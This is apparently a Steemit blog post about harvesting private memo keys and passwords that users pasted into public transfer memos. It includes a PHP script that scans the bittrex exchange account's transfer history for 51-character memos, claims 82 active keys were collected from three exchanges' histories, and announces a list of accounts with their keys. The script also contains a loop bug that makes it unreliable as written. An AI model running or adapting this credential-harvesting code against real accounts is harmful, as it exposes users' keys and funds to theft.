Notice: -we did not hack the steemit blockchain -we did not steal any money -we did not use any social engineering This bug is not very popular although many people are talking about it. It is when you transfer steem and steem dollar and put your private memo key or your password in the memo box which is public.

Here is how we did it

-we used the new SteemPHP which is located at (https://github.com/davidkevork/steemphp)


< ?php   <-- remove the space
include './vendor/autoload.php';
use SteemPHP\SteemConnection;
$SteemConnection = new SteemConnection('https://steemd.steemit.com');
$account = 'bittrex';
for ($i=0; $i < 86; $i++) {
	$collect = [];
	if ($i = 0) { $l = -1; } else { $l = $i * 1000; }
	$data = $SteemConnection->getAccountHistory($account, 1000, $l);
	foreach ($data as $key => $value) {
		if ($value[1]['op'][0] == 'transfer') {
			if (strlen($value[1]['op'][1]['memo']) == 51) {
				$collect[] = $value[1]['op'][1]['from'].':'.$value[1]['op'][1]['to'].':'.$value[1]['op'][1]['memo'];
			}
		}
	}
	file_put_contents($account.'_'.$i, serialize($collect));
}
?>

we analysed the entire trading history of bittrex, poloniex and blocktrades which in total is over 50,000 transfer and got access to 82 active private memo keys. while we found passwords and more private memo keys, the account owner has changed them. here is the list of the accounts with their private memo keys.
